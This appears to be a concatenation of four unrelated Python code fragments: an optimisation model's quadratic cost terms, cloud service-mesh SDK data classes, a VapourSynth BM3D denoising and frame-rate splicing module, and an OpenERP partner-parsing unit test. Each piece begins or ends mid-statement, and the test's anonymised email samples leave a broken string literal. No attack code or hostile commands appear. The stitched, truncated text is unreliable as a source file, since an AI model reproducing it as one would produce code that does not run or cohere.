m.x35)*m.b275 + (970 + 0.00031*m.x36*m.x36 + 17.26*m.x36)*m.b276 + (970 + 0.00031*m.x37*m.x37 +
17.26*m.x37)*m.b277 + (970 + 0.00031*m.x38*m.x38 + 17.26*m.x38)*m.b278 + (970 + 0.00031*m.x39*
m.x39 + 17.26*m.x39)*m.b279 + (970 + 0.00031*m.x40*m.x40 + 17.26*m.x40)*m.b280 + (970 + 0.00031*
m.x41*m.x41 + 17.26*m.x41)*m.b281 + (970 + 0.00031*m.x42*m.x42 + 17.26*m.x42)*m.b282 + (970 +
0.00031*m.x43*m.x43 + 17.26*m.x43)*m.b283 + (970 + 0.00031*m.x44*m.x44 + 17.26*m.x44)*m.b284 + (
970 + 0.00031*m.x45*m.x45 + 17.26*m.x45)*m.b285 + (970 + 0.00031*m.x46*m.x46 + 17.26*m.x46)*
m.b286 + (970 + 0.00031*m.x47*m.x47 + 17.26*m.x47)*m.b287 + (970 + 0.00031*m.x48*m.x48 + 17.26*
m.x48)*m.b288 + (970 + 0.00031*m.x49*m.x49 + 17.26*m.x49)*m.b289 + (700 + 0.002*m.x50*m.x50 +
16.6*m.x50)*m.b290 + (700 + 0.002*m.x51*m.x51 + 16.6*m.x51)*m.b291 + (700 + 0.002*m.x52*m.x52 +
16.6*m.x52)*m.b292 + (700 + 0.002*m.x53*m.x53 + 16.6*m.x53)*m.b293 + (700 + 0.002*m.x54*m.x54 +
16.6*m.x54)*m.b294 + (700 + 0.002*m.x55*m.x55 + 16.6*m.x55)*m.b295 + (700 + 0.002*m.x56*m.x56 +
16.6*m.x56)*m.b296 + (700 + 0.002*m.x57*m.x57 + 16.6*m.x57)*m.b297 + (700 + 0.002*m.x58*m.x58 +
16.6*m.x58)*m.b298 + (700 + 0.002*m.x59*m.x59 + 16.6*m.x59)*m.b299 + (700 + 0.002*m.x60*m.x60 +
16.6*m.x60)*m.b300 + (700 + 0.002*m.x61*m.x61 + 16.6*m.x61)*m.b301 + (700 + 0.002*m.x62*m.x62 +
16.6*m.x62)*m.b302 + (700 + 0.002*m.x63*m.x63 + 16.6*m.x63)*m.b303 + (700 + 0.002*m.x64*m.x64 +
16.6*m.x64)*m.b304 + (700 + 0.002*m.x65*m.x65 + 16.6*m.x65)*m.b305 + (700 + 0.002*m.x66*m.x66 +
16.6*m.x66)*m.b306 + (700 + 0.002*m.x67*m.x67 + 16.6*m.x67)*m.b307 + (700 + 0.002*m.x68*m.x68 +
16.6*m.x68)*m.b308 + (700 + 0.002*m.x69*m.x69 + 16.6*m.x69)*m.b309 + (700 + 0.002*m.x70*m.x70 +
16.6*m.x70)*m.b310 + (700 + 0.002*m.x71*m.x71 + 16.6*m.x71)*m.b311 + (700 + 0.002*m.x72*m.x72 +
16.6*m.x72)*m.b312 + (700 + 0.002*m.x73*m.x73 + 16.6*m.x73)*m.b313 + (680 + 0.00211*m.x74*m.x74
+ 16.5*m.x74)*m.b314 + (680 + 0.00211*m.x75*m.x75 + 16.5*m.x75)*m.b315 + (680 + 0.00211*m.x76*
m.x76 + 16.5*m.x76)*m.b316 + (680 + 0.00211*m.x77*m.x77 + 16.5*m.x77)*m.b317 + (680 + 0.00211*
m.x78*m.x78 + 16.5*m.x78)*m.b318 + (680 + 0.00211*m.x79*m.x79 + 16.5*m.x79)*m.b319 + (680 +
0.00211*m.x80*m.x80 + 16.5*m.x80)*m.b320 + (680 + 0.00211*m.x81*m.x81 + 16.5*m.x81)*m.b321 + (680
+ 0.00211*m.x82*m.x82 + 16.5*m.x82)*m.b322 + (680 + 0.00211*m.x83*m.x83 + 16.5*m.x83)*m.b323 + (
680 + 0.00211*m.x84*m.x84 + 16.5*m.x84)*m.b324 + (680 + 0.00211*m.x85*m.x85 + 16.5*m.x85)*m.b325
+ (680 + 0.00211*m.x86*m.x86 + 16.5*m.x86)*m.b326 + | |
self.network = temp_model.from_map(map['Network'])
else:
self.network = None
return self
class DescribeServiceMeshesResponseServiceMeshes(TeaModel):
def __init__(self, endpoints=None, service_mesh_info=None, spec=None, clusters=None):
self.endpoints = endpoints
self.service_mesh_info = service_mesh_info
self.spec = spec
self.clusters = []
def validate(self):
self.validate_required(self.endpoints, 'endpoints')
if self.endpoints:
self.endpoints.validate()
self.validate_required(self.service_mesh_info, 'service_mesh_info')
if self.service_mesh_info:
self.service_mesh_info.validate()
self.validate_required(self.spec, 'spec')
if self.spec:
self.spec.validate()
self.validate_required(self.clusters, 'clusters')
def to_map(self):
result = {}
if self.endpoints is not None:
result['Endpoints'] = self.endpoints.to_map()
else:
result['Endpoints'] = None
if self.service_mesh_info is not None:
result['ServiceMeshInfo'] = self.service_mesh_info.to_map()
else:
result['ServiceMeshInfo'] = None
if self.spec is not None:
result['Spec'] = self.spec.to_map()
else:
result['Spec'] = None
result['Clusters'] = []
if self.clusters is not None:
for k in self.clusters:
result['Clusters'].append(k)
else:
result['Clusters'] = None
return result
def from_map(self, map={}):
if map.get('Endpoints') is not None:
temp_model = DescribeServiceMeshesResponseServiceMeshesEndpoints()
self.endpoints = temp_model.from_map(map['Endpoints'])
else:
self.endpoints = None
if map.get('ServiceMeshInfo') is not None:
temp_model = DescribeServiceMeshesResponseServiceMeshesServiceMeshInfo()
self.service_mesh_info = temp_model.from_map(map['ServiceMeshInfo'])
else:
self.service_mesh_info = None
if map.get('Spec') is not None:
temp_model = DescribeServiceMeshesResponseServiceMeshesSpec()
self.spec = temp_model.from_map(map['Spec'])
else:
self.spec = None
self.clusters = []
if map.get('Clusters') is not None:
for k in map.get('Clusters'):
self.clusters.append(k)
else:
self.clusters = None
return self
class DescribeServiceMeshDetailRequest(TeaModel):
def __init__(self, service_mesh_id=None):
self.service_mesh_id = service_mesh_id
def validate(self):
self.validate_required(self.service_mesh_id, 'service_mesh_id')
def to_map(self):
result = {}
result['ServiceMeshId'] = self.service_mesh_id
return result
def from_map(self, map={}):
self.service_mesh_id = map.get('ServiceMeshId')
return self
class DescribeServiceMeshDetailResponse(TeaModel):
def __init__(self, request_id=None, service_mesh=None):
self.request_id = request_id
self.service_mesh = service_mesh
def validate(self):
self.validate_required(self.request_id, 'request_id')
self.validate_required(self.service_mesh, 'service_mesh')
if self.service_mesh:
self.service_mesh.validate()
def to_map(self):
result = {}
result['RequestId'] = self.request_id
if self.service_mesh is not None:
result['ServiceMesh'] = self.service_mesh.to_map()
else:
result['ServiceMesh'] = None
return result
def from_map(self, map={}):
self.request_id = map.get('RequestId')
if map.get('ServiceMesh') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMesh()
self.service_mesh = temp_model.from_map(map['ServiceMesh'])
else:
self.service_mesh = None
return self
class DescribeServiceMeshDetailResponseServiceMeshEndpoints(TeaModel):
def __init__(self, intranet_api_server_endpoint=None, intranet_pilot_endpoint=None, public_api_server_endpoint=None, public_pilot_endpoint=None):
self.intranet_api_server_endpoint = intranet_api_server_endpoint
self.intranet_pilot_endpoint = intranet_pilot_endpoint
self.public_api_server_endpoint = public_api_server_endpoint
self.public_pilot_endpoint = public_pilot_endpoint
def validate(self):
self.validate_required(self.intranet_api_server_endpoint, 'intranet_api_server_endpoint')
self.validate_required(self.intranet_pilot_endpoint, 'intranet_pilot_endpoint')
self.validate_required(self.public_api_server_endpoint, 'public_api_server_endpoint')
self.validate_required(self.public_pilot_endpoint, 'public_pilot_endpoint')
def to_map(self):
result = {}
result['IntranetApiServerEndpoint'] = self.intranet_api_server_endpoint
result['IntranetPilotEndpoint'] = self.intranet_pilot_endpoint
result['PublicApiServerEndpoint'] = self.public_api_server_endpoint
result['PublicPilotEndpoint'] = self.public_pilot_endpoint
return result
def from_map(self, map={}):
self.intranet_api_server_endpoint = map.get('IntranetApiServerEndpoint')
self.intranet_pilot_endpoint = map.get('IntranetPilotEndpoint')
self.public_api_server_endpoint = map.get('PublicApiServerEndpoint')
self.public_pilot_endpoint = map.get('PublicPilotEndpoint')
return self
class DescribeServiceMeshDetailResponseServiceMeshServiceMeshInfo(TeaModel):
def __init__(self, creation_time=None, error_message=None, name=None, region_id=None, service_mesh_id=None, state=None, update_time=None, version=None):
self.creation_time = creation_time
self.error_message = error_message
self.name = name
self.region_id = region_id
self.service_mesh_id = service_mesh_id
self.state = state
self.update_time = update_time
self.version = version
def validate(self):
self.validate_required(self.creation_time, 'creation_time')
self.validate_required(self.error_message, 'error_message')
self.validate_required(self.name, 'name')
self.validate_required(self.region_id, 'region_id')
self.validate_required(self.service_mesh_id, 'service_mesh_id')
self.validate_required(self.state, 'state')
self.validate_required(self.update_time, 'update_time')
self.validate_required(self.version, 'version')
def to_map(self):
result = {}
result['CreationTime'] = self.creation_time
result['ErrorMessage'] = self.error_message
result['Name'] = self.name
result['RegionId'] = self.region_id
result['ServiceMeshId'] = self.service_mesh_id
result['State'] = self.state
result['UpdateTime'] = self.update_time
result['Version'] = self.version
return result
def from_map(self, map={}):
self.creation_time = map.get('CreationTime')
self.error_message = map.get('ErrorMessage')
self.name = map.get('Name')
self.region_id = map.get('RegionId')
self.service_mesh_id = map.get('ServiceMeshId')
self.state = map.get('State')
self.update_time = map.get('UpdateTime')
self.version = map.get('Version')
return self
class DescribeServiceMeshDetailResponseServiceMeshSpecLoadBalancer(TeaModel):
def __init__(self, api_server_loadbalancer_id=None, api_server_public_eip=None, pilot_public_eip=None, pilot_public_loadbalancer_id=None):
self.api_server_loadbalancer_id = api_server_loadbalancer_id
self.api_server_public_eip = api_server_public_eip
self.pilot_public_eip = pilot_public_eip
self.pilot_public_loadbalancer_id = pilot_public_loadbalancer_id
def validate(self):
self.validate_required(self.api_server_loadbalancer_id, 'api_server_loadbalancer_id')
self.validate_required(self.api_server_public_eip, 'api_server_public_eip')
self.validate_required(self.pilot_public_eip, 'pilot_public_eip')
self.validate_required(self.pilot_public_loadbalancer_id, 'pilot_public_loadbalancer_id')
def to_map(self):
result = {}
result['ApiServerLoadbalancerId'] = self.api_server_loadbalancer_id
result['ApiServerPublicEip'] = self.api_server_public_eip
result['PilotPublicEip'] = self.pilot_public_eip
result['PilotPublicLoadbalancerId'] = self.pilot_public_loadbalancer_id
return result
def from_map(self, map={}):
self.api_server_loadbalancer_id = map.get('ApiServerLoadbalancerId')
self.api_server_public_eip = map.get('ApiServerPublicEip')
self.pilot_public_eip = map.get('PilotPublicEip')
self.pilot_public_loadbalancer_id = map.get('PilotPublicLoadbalancerId')
return self
class DescribeServiceMeshDetailResponseServiceMeshSpecMeshConfigPilot(TeaModel):
def __init__(self, trace_sampling=None):
self.trace_sampling = trace_sampling
def validate(self):
self.validate_required(self.trace_sampling, 'trace_sampling')
def to_map(self):
result = {}
result['TraceSampling'] = self.trace_sampling
return result
def from_map(self, map={}):
self.trace_sampling = map.get('TraceSampling')
return self
class DescribeServiceMeshDetailResponseServiceMeshSpecMeshConfigOPA(TeaModel):
def __init__(self, enabled=None, log_level=None, request_cpu=None, request_memory=None, limit_cpu=None, limit_memory=None):
self.enabled = enabled
self.log_level = log_level
self.request_cpu = request_cpu
self.request_memory = request_memory
self.limit_cpu = limit_cpu
self.limit_memory = limit_memory
def validate(self):
self.validate_required(self.enabled, 'enabled')
self.validate_required(self.log_level, 'log_level')
self.validate_required(self.request_cpu, 'request_cpu')
self.validate_required(self.request_memory, 'request_memory')
self.validate_required(self.limit_cpu, 'limit_cpu')
self.validate_required(self.limit_memory, 'limit_memory')
def to_map(self):
result = {}
result['Enabled'] = self.enabled
result['LogLevel'] = self.log_level
result['RequestCPU'] = self.request_cpu
result['RequestMemory'] = self.request_memory
result['LimitCPU'] = self.limit_cpu
result['LimitMemory'] = self.limit_memory
return result
def from_map(self, map={}):
self.enabled = map.get('Enabled')
self.log_level = map.get('LogLevel')
self.request_cpu = map.get('RequestCPU')
self.request_memory = map.get('RequestMemory')
self.limit_cpu = map.get('LimitCPU')
self.limit_memory = map.get('LimitMemory')
return self
class DescribeServiceMeshDetailResponseServiceMeshSpecMeshConfigAudit(TeaModel):
def __init__(self, enabled=None, project=None):
self.enabled = enabled
self.project = project
def validate(self):
self.validate_required(self.enabled, 'enabled')
self.validate_required(self.project, 'project')
def to_map(self):
result = {}
result['Enabled'] = self.enabled
result['Project'] = self.project
return result
def from_map(self, map={}):
self.enabled = map.get('Enabled')
self.project = map.get('Project')
return self
class DescribeServiceMeshDetailResponseServiceMeshSpecMeshConfig(TeaModel):
def __init__(self, enable_locality_lb=None, telemetry=None, tracing=None, pilot=None, _opa=None, audit=None):
self.enable_locality_lb = enable_locality_lb
self.telemetry = telemetry
self.tracing = tracing
self.pilot = pilot
self._opa = _opa
self.audit = audit
def validate(self):
self.validate_required(self.enable_locality_lb, 'enable_locality_lb')
self.validate_required(self.telemetry, 'telemetry')
self.validate_required(self.tracing, 'tracing')
self.validate_required(self.pilot, 'pilot')
if self.pilot:
self.pilot.validate()
self.validate_required(self._opa, '_opa')
if self._opa:
self._opa.validate()
self.validate_required(self.audit, 'audit')
if self.audit:
self.audit.validate()
def to_map(self):
result = {}
result['EnableLocalityLB'] = self.enable_locality_lb
result['Telemetry'] = self.telemetry
result['Tracing'] = self.tracing
if self.pilot is not None:
result['Pilot'] = self.pilot.to_map()
else:
result['Pilot'] = None
if self._opa is not None:
result['OPA'] = self._opa.to_map()
else:
result['OPA'] = None
if self.audit is not None:
result['Audit'] = self.audit.to_map()
else:
result['Audit'] = None
return result
def from_map(self, map={}):
self.enable_locality_lb = map.get('EnableLocalityLB')
self.telemetry = map.get('Telemetry')
self.tracing = map.get('Tracing')
if map.get('Pilot') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMeshSpecMeshConfigPilot()
self.pilot = temp_model.from_map(map['Pilot'])
else:
self.pilot = None
if map.get('OPA') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMeshSpecMeshConfigOPA()
self._opa = temp_model.from_map(map['OPA'])
else:
self._opa = None
if map.get('Audit') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMeshSpecMeshConfigAudit()
self.audit = temp_model.from_map(map['Audit'])
else:
self.audit = None
return self
class DescribeServiceMeshDetailResponseServiceMeshSpecNetwork(TeaModel):
def __init__(self, security_group_id=None, vpc_id=None, v_switches=None):
self.security_group_id = security_group_id
self.vpc_id = vpc_id
self.v_switches = []
def validate(self):
self.validate_required(self.security_group_id, 'security_group_id')
self.validate_required(self.vpc_id, 'vpc_id')
self.validate_required(self.v_switches, 'v_switches')
def to_map(self):
result = {}
result['SecurityGroupId'] = self.security_group_id
result['VpcId'] = self.vpc_id
result['VSwitches'] = []
if self.v_switches is not None:
for k in self.v_switches:
result['VSwitches'].append(k)
else:
result['VSwitches'] = None
return result
def from_map(self, map={}):
self.security_group_id = map.get('SecurityGroupId')
self.vpc_id = map.get('VpcId')
self.v_switches = []
if map.get('VSwitches') is not None:
for k in map.get('VSwitches'):
self.v_switches.append(k)
else:
self.v_switches = None
return self
class DescribeServiceMeshDetailResponseServiceMeshSpec(TeaModel):
def __init__(self, load_balancer=None, mesh_config=None, network=None):
self.load_balancer = load_balancer
self.mesh_config = mesh_config
self.network = network
def validate(self):
self.validate_required(self.load_balancer, 'load_balancer')
if self.load_balancer:
self.load_balancer.validate()
self.validate_required(self.mesh_config, 'mesh_config')
if self.mesh_config:
self.mesh_config.validate()
self.validate_required(self.network, 'network')
if self.network:
self.network.validate()
def to_map(self):
result = {}
if self.load_balancer is not None:
result['LoadBalancer'] = self.load_balancer.to_map()
else:
result['LoadBalancer'] = None
if self.mesh_config is not None:
result['MeshConfig'] = self.mesh_config.to_map()
else:
result['MeshConfig'] = None
if self.network is not None:
result['Network'] = self.network.to_map()
else:
result['Network'] = None
return result
def from_map(self, map={}):
if map.get('LoadBalancer') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMeshSpecLoadBalancer()
self.load_balancer = temp_model.from_map(map['LoadBalancer'])
else:
self.load_balancer = None
if map.get('MeshConfig') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMeshSpecMeshConfig()
self.mesh_config = temp_model.from_map(map['MeshConfig'])
else:
self.mesh_config = None
if map.get('Network') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMeshSpecNetwork()
self.network = temp_model.from_map(map['Network'])
else:
self.network = None
return self
class DescribeServiceMeshDetailResponseServiceMesh(TeaModel):
def __init__(self, endpoints=None, service_mesh_info=None, spec=None, clusters=None):
self.endpoints = endpoints
self.service_mesh_info = service_mesh_info
self.spec = spec
self.clusters = []
def validate(self):
self.validate_required(self.endpoints, 'endpoints')
if self.endpoints:
self.endpoints.validate()
self.validate_required(self.service_mesh_info, 'service_mesh_info')
if self.service_mesh_info:
self.service_mesh_info.validate()
self.validate_required(self.spec, 'spec')
if self.spec:
self.spec.validate()
self.validate_required(self.clusters, 'clusters')
def to_map(self):
result = {}
if self.endpoints is not None:
result['Endpoints'] = self.endpoints.to_map()
else:
result['Endpoints'] = None
if self.service_mesh_info is not None:
result['ServiceMeshInfo'] = self.service_mesh_info.to_map()
else:
result['ServiceMeshInfo'] = None
if self.spec is not None:
result['Spec'] = self.spec.to_map()
else:
result['Spec'] = None
result['Clusters'] = []
if self.clusters is not None:
for k in self.clusters:
result['Clusters'].append(k)
else:
result['Clusters'] = None
return result
def from_map(self, map={}):
if map.get('Endpoints') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMeshEndpoints()
self.endpoints = temp_model.from_map(map['Endpoints'])
else:
self.endpoints = None
if map.get('ServiceMeshInfo') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMeshServiceMeshInfo()
self.service_mesh_info = temp_model.from_map(map['ServiceMeshInfo'])
else:
self.service_mesh_info = None
if map.get('Spec') is not None:
temp_model = DescribeServiceMeshDetailResponseServiceMeshSpec()
self.spec = temp_model.from_map(map['Spec'])
else:
self.spec = None
self.clusters = []
if map.get('Clusters') is not None:
for k in map.get('Clusters'):
self.clusters.append(k)
else:
self.clusters = None
return self
class DescribeServiceMeshKubeconfigRequest(TeaModel):
def __init__(self, service_mesh_id=None, private_ip_address=None):
self.service_mesh_id = service_mesh_id
self.private_ip_address = private_ip_address
def validate(self):
self.validate_required(self.service_mesh_id, 'service_mesh_id')
def to_map(self):
result = {}
result['ServiceMeshId'] = self.service_mesh_id
result['PrivateIpAddress'] = self.private_ip_address
return result
def from_map(self, map={}):
self.service_mesh_id = map.get('ServiceMeshId')
self.private_ip_address = map.get('PrivateIpAddress')
return self
class DescribeServiceMeshKubeconfigResponse(TeaModel):
def __init__(self, kubeconfig=None, request_id=None):
self.kubeconfig = kubeconfig
self.request_id = request_id
def validate(self):
self.validate_required(self.kubeconfig, 'kubeconfig')
self.validate_required(self.request_id, 'request_id')
def to_map(self):
result = {}
result['Kubeconfig'] = self.kubeconfig
result['RequestId'] = self.request_id
return result
def from_map(self, map={}):
self.kubeconfig = map.get('Kubeconfig')
self.request_id = map.get('RequestId')
| |
not isinstance(sample, int):
raise TypeError(funcName + ': \"sample\" must be an int!')
elif sample != vs.INTEGER and sample != vs.FLOAT:
raise ValueError(funcName + ': \"sample\" must be either 0(vs.INTEGER) or 1(vs.FLOAT)!')
else:
dSType = sample
if depth is None and sSType != vs.FLOAT and sample == vs.FLOAT:
dbitPS = 32
elif depth is None and sSType != vs.INTEGER and sample == vs.INTEGER:
dbitPS = 16
if dSType == vs.INTEGER and (dbitPS < 1 or dbitPS > 16):
raise ValueError(funcName + ': {0}-bit integer output is not supported!'.format(dbitPS))
if dSType == vs.FLOAT and (dbitPS != 16 and dbitPS != 32):
raise ValueError(funcName + ': {0}-bit float output is not supported!'.format(dbitPS))
if output == 0:
fulld = fulls
else:
# Always full range output when output=1|output=2 (full range RGB or full range OPP)
fulld = True
# Convert to processed format
# YUV/YCoCg/RGB input is converted to opponent color space as full range YUV
# Gray input is converted to full range Gray
onlyY = False
if sIsGRAY:
onlyY = True
# Convert Gray input to full range Gray in processed format
clip = Depth(clip, pbitPS, pSType, fulls, True, dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise)
if pre is not None:
pre = Depth(pre, pbitPS, pSType, fulls, True, dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise)
if ref is not None:
ref = Depth(ref, pbitPS, pSType, fulls, True, dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise)
else:
# Convert input to full range RGB
clip = ToRGB(clip, matrix, pbitPS, pSType, fulls, \
dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise, cu_kernel, cu_taps, cu_a1, cu_a2, cu_cplace, False)
if pre is not None:
pre = ToRGB(pre, matrix, pbitPS, pSType, fulls, \
dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise, cu_kernel, cu_taps, cu_a1, cu_a2, cu_cplace, False)
if ref is not None:
ref = ToRGB(ref, matrix, pbitPS, pSType, fulls, \
dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise, cu_kernel, cu_taps, cu_a1, cu_a2, cu_cplace, False)
# Convert full range RGB to full range OPP
clip = ToYUV(clip, "OPP", "444", pbitPS, pSType, True, \
dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise, cu_kernel, cu_taps, cu_a1, cu_a2, cu_cplace)
if pre is not None:
pre = ToYUV(pre, "OPP", "444", pbitPS, pSType, True, \
dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise, cu_kernel, cu_taps, cu_a1, cu_a2, cu_cplace)
if ref is not None:
ref = ToYUV(ref, "OPP", "444", pbitPS, pSType, True, \
dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise, cu_kernel, cu_taps, cu_a1, cu_a2, cu_cplace)
# Convert OPP to Gray if only Y is processed
srcOPP = clip
if sigma[1] <= 0 and sigma[2] <= 0:
onlyY = True
clip = core.std.ShufflePlanes([clip], [0], vs.GRAY)
if pre is not None:
pre = core.std.ShufflePlanes([pre], [0], vs.GRAY)
if ref is not None:
ref = core.std.ShufflePlanes([ref], [0], vs.GRAY)
# Basic estimate
if ref is not None:
# Use custom basic estimate specified by clip "ref"
flt = ref
elif skip:
flt = clip
elif radius1 < 1:
# Apply BM3D basic estimate
# Optional pre-filtered clip for block-matching can be specified by "pre"
flt = core.bm3d.Basic(clip, ref=pre, profile=profile1, sigma=sigma, \
block_size=block_size1, block_step=block_step1, group_size=group_size1, \
bm_range=bm_range1, bm_step=bm_step1, th_mse=th_mse1, hard_thr=hard_thr, matrix=100)
else:
# Apply V-BM3D basic estimate
# Optional pre-filtered clip for block-matching can be specified by "pre"
flt = core.bm3d.VBasic(clip, ref=pre, profile=profile1, sigma=sigma, radius=radius1, \
block_size=block_size1, block_step=block_step1, group_size=group_size1, \
bm_range=bm_range1, bm_step=bm_step1, ps_num=ps_num1, ps_range=ps_range1, ps_step=ps_step1, \
th_mse=th_mse1, hard_thr=hard_thr, matrix=100).bm3d.VAggregate(radius=radius1, sample=pSType)
# Shuffle Y plane back if not processed
if not onlyY and sigma[0] <= 0:
flt = core.std.ShufflePlanes([clip,flt,flt], [0,1,2], vs.YUV)
# Final estimate
for i in range(0, refine):
if skip:
flt = clip
elif radius2 < 1:
# Apply BM3D final estimate
flt = core.bm3d.Final(clip, ref=flt, profile=profile2, sigma=sigma, \
block_size=block_size2, block_step=block_step2, group_size=group_size2, \
bm_range=bm_range2, bm_step=bm_step2, th_mse=th_mse2, matrix=100)
else:
# Apply V-BM3D final estimate
flt = core.bm3d.VFinal(clip, ref=flt, profile=profile2, sigma=sigma, radius=radius2, \
block_size=block_size2, block_step=block_step2, group_size=group_size2, \
bm_range=bm_range2, bm_step=bm_step2, ps_num=ps_num2, ps_range=ps_range2, ps_step=ps_step2, \
th_mse=th_mse2, matrix=100).bm3d.VAggregate(radius=radius2, sample=pSType)
# Shuffle Y plane back if not processed
if not onlyY and sigma[0] <= 0:
flt = core.std.ShufflePlanes([clip,flt,flt], [0,1,2], vs.YUV)
# Convert to output format
if sIsGRAY:
clip = Depth(flt, dbitPS, dSType, True, fulld, dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise)
else:
# Shuffle back to YUV if not all planes are processed
if onlyY:
clip = core.std.ShufflePlanes([flt,srcOPP,srcOPP], [0,1,2], vs.YUV)
elif sigma[1] <= 0 or sigma[2] <= 0:
clip = core.std.ShufflePlanes([flt, clip if sigma[1] <= 0 else flt, \
clip if sigma[2] <= 0 else flt], [0,1,2], vs.YUV)
else:
clip = flt
# Convert to final output format
if output <= 1:
# Convert full range OPP to full range RGB
clip = ToRGB(clip, "OPP", pbitPS, pSType, True, \
dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise, cu_kernel, cu_taps, cu_a1, cu_a2, cu_cplace, False)
if output <= 0 and not sIsRGB:
# Convert full range RGB to YUV/YCoCg
clip = ToYUV(clip, matrix, css, dbitPS, dSType, fulld, \
dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise, cd_kernel, cd_taps, cd_a1, cd_a2, cd_cplace)
else:
# Depth conversion for RGB or OPP output
clip = Depth(clip, dbitPS, dSType, True, fulld, dither, useZ, prefer_props, ampo, ampn, dyn, staticnoise)
# Output
return clip
################################################################################################################################
################################################################################################################################
## Main function: VFRSplice()
################################################################################################################################
## Splice multiple clips with different frame rate, and output timecode file.
## Each input clip is CFR(constant frame rate).
## The output clip is VFR(variational frame rate).
################################################################################################################################
## Basic parameters
## clips {clip}: any number of clips to splice
## each clip should be CFR
## tcfile {str}: timecode file output
## default: None
## v2 {bool}: timecode format
## True for v2 output and False for v1 output
## default: True
## precision {int}: precision of time and frame rate
## a decimal number indicating how many digits should be displayed after the decimal point for a fixed-point value
## default: 6
################################################################################################################################
def VFRSplice(clips, tcfile=None, v2=None, precision=None):
# Set VS core and function name
core = vs.get_core()
funcName = 'VFRSplice'
# Arguments
if isinstance(clips, vs.VideoNode):
clips = [clips]
elif isinstance(clips, list):
for clip in clips:
if not isinstance(clip, vs.VideoNode):
raise TypeError(funcName + ': each element in \"clips\" must be a clip!')
if clip.fps_num == 0 or clip.fps_den == 0:
raise ValueError(funcName + ': each clip in \"clips\" must be CFR!')
else:
raise TypeError(funcName + ': \"clips\" must be a clip or a list of clips!')
if tcfile is not None and not isinstance(tcfile, str):
raise TypeError(funcName + ': \"tcfile\" must be a str!')
if v2 is None:
v2 = True
elif not isinstance(v2, int):
raise TypeError(funcName + ': \"v2\" must be a bool!')
if precision is None:
precision = 6
elif not isinstance(precision, int):
raise TypeError(funcName + ': \"precision\" must be an int!')
# Fraction to str function
def frac2str(num, den, precision=6):
return '{:<.{precision}F}'.format(num / den, precision=precision)
# Timecode file
if tcfile is None:
pass
else:
# Get timecode v1 list
cur_frame = 0
tc_list = []
index = 0
for clip in clips:
if index > 0 and clip.fps_num == tc_list[index - 1][2] and clip.fps_den == tc_list[index - 1][3]:
tc_list[index - 1] = (tc_list[index - 1][0], cur_frame + clip.num_frames - 1, clip.fps_num, clip.fps_den)
else:
tc_list.append((cur_frame, cur_frame + clip.num_frames - 1, clip.fps_num, clip.fps_den))
cur_frame += clip.num_frames
index += 1
# Write to timecode file
ofile = open(tcfile, 'w')
if v2: # timecode v2
olines = ['# timecode format v2\n']
frames = tc_list[len(tc_list) - 1][1] + 1
time = 0 # ms
for tc in tc_list:
frame_duration = 1000 * tc[3] / tc[2] # ms
for frame in range(tc[0], tc[1] + 1):
olines.append('{:<.{precision}F}\n'.format(time, precision=precision))
time += frame_duration
else: # timecode v1
olines = ['# timecode format v1\n', 'Assume {}\n'.format(frac2str(tc_list[0][2], tc_list[0][3], precision))]
for tc in tc_list:
olines.append('{},{},{}\n'.format(tc[0], tc[1], frac2str(tc[2], tc[3], precision)))
try:
ofile.writelines(olines)
finally:
ofile.close()
# Output spliced clip
return core.std.Splice(clips, mismatch=True)
################################################################################################################################
################################################################################################################################
################################################################################################################################
################################################################################################################################
## Runtime functions below
################################################################################################################################
################################################################################################################################
################################################################################################################################
################################################################################################################################
## Runtime function: PlaneStatistics()
################################################################################################################################
## Calculate statistics of specific plane and store them as frame properties
## All the values are normalized (float that the peak-to-peak value is 1)
## Supported statistics:
## mean: stored as | |
import unittest2
import openerp.tests.common as common
from openerp.osv.orm import except_orm
class test_base(common.TransactionCase):
def setUp(self):
super(test_base,self).setUp()
self.res_partner = self.registry('res.partner')
self.res_users = self.registry('res.users')
self.res_partner_title = self.registry('res.partner.title')
# samples use effective TLDs from the Mozilla public suffix
# list at http://publicsuffix.org
self.samples = [
('"<NAME>" <<EMAIL>> ', '<NAME>', '<EMAIL>'),
('<EMAIL>', '', '<EMAIL>'),
('Raoul chirurgiens-dentistes.fr', 'Raoul chirurgiens-dentistes.fr', ''),
(" <NAME> <EMAIL>>", "<NAME>", <EMAIL>')
]
def test_00_res_partner_name_create(self):
cr, uid = self.cr, self.uid
parse = self.res_partner._parse_partner_name
for text, name, mail in self.samples:
self.assertEqual((name,mail), parse(text), 'Partner name parsing failed')
partner_id, dummy = self.res_partner.name_create(cr, uid, text)
partner = self.res_partner.browse(cr, uid, partner_id)
self.assertEqual(name or mail, partner.name, 'Partner name incorrect')
self.assertEqual(mail or False, partner.email, 'Partner email incorrect')
def test_10_res_partner_find_or_create(self):
cr,uid = self.cr, self.uid
email = self.samples[0][0]
partner_id, dummy = self.res_partner.name_create(cr, uid, email)
found_id = self.res_partner.find_or_create(cr, uid, email)
self.assertEqual(partner_id, found_id, 'find_or_create failed')
new_id = self.res_partner.find_or_create(cr, uid, self.samples[1][0])
self.assertTrue(new_id > partner_id, 'find_or_create failed - should have created new one')
new_id2 = self.res_partner.find_or_create(cr, uid, self.samples[2][0])
self.assertTrue(new_id2 > new_id, 'find_or_create failed - should have created new one again')
def test_15_res_partner_name_search(self):
cr,uid = self.cr, self.uid
for name, active in [
('"A <NAME>" <<EMAIL>>', False),
('B Raoul chirurgiens-dentistes.fr', True),
("C <NAME> <!<EMAIL>>", True),
('<EMAIL>', True),
]:
